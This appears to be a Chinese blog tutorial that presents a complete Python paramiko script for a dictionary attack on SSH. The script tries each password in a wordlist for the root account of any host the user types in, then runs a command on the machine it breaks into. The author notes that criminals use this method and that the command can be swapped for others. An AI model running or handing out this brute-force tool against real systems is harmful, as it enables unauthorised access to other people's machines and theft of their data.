python使用paramiko模块对靶机进行ssh爆破并获取它的信息

使用paramiko模块对靶机进行ssh爆破并获取它的信息

前言:

相信大家都有使用过LINUX系统,一般我们对linux系统进行远程登陆的时候,都会使用ssh服务来实现远程登陆。而有时候,有些linux系统,因为管理员的疏忽,密码设置成为了弱密码,所以往往很多不法分子,就会通过ssh爆破密码,进行远程登陆,然后就可以为所欲为了(你懂的)。我这里只是ssh进去机子,直接获取他的文件内容而已,当然可以改一下命令,搞其他的东西。

准备过程:

我们这里的脚本,是利用字典,去进行密码爆破的,所以说,我们这里,需要准备一个字典,字典很简单,写几个字母在txt文件里,记住,一定要换行,弱口令密码一般是123456,root,toor,admin,654321,1234567之类的东西,当然,你也可以使用工具,去生成一个属于你自己的字典,不过一般都很大,要准备好一个相对较大的硬盘,不然你的机子会炸。记住文件路径一定要正确,要放在脚本放的目录那里,一定一定要正确。
没有paramiko模块的同学,要去安装,安装命令:pip3 install paramiko
paramiko模块是就相当于ssh,ssh很麻烦的,要什么颁发密钥啊之类的。
还有啊,你要进入ssh的靶机,一定一定一定要ping的通,不然,说什么都是假的,可以准备一台虚拟机去玩,过多几天,我会写一个关于安装虚拟机的博客,emmmmmm,现在不会的同学们,就去看其他博主的博客哈~
话不多说,让我们进入代码。

ssh_flag.txt:

这个就是那个字典哈,名字可以随便改,只要代码那里也改了就好。

python使用paramiko模块对靶机进行ssh爆破并获取它的信息_第1张图片

代码:

import paramiko

def sshclient_cmd(hostname,port,username,password,execmd):
    try:
        paramiko.util.log_to_file("paramiko.log")
        s = paramiko.SSHClient()
        s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        s.connect(hostname=hostname, port=port, username=username, password=password)
        stdin,stdout,stderr = s.exec_command(execmd)
        stdin.write("Y")
        print (stdout.read())
        s.close()
    except:
        print("ssh login was error")

def main(password,hostname):
    port = 22
    username = 'root'
#    password = '123456'
    execmd = 'cat ssh_flag.txt'
    print(password)
    sshclient_cmd(hostname, port, username, password, execmd)

def dicgen(hostname):
    file_path = 'zidian.txt'
    for line in open(file_path):
        a = line.strip('\r').strip('\n')
        main(a,hostname)
if __name__ == '__main__':
    hostname = input("Please input your ssh target:")    
    dicgen(hostname)

麻烦各位老板,看小弟文章的时候,留下您的赞噢!关注我,拿到更多的干货!

你可能感兴趣的:(python)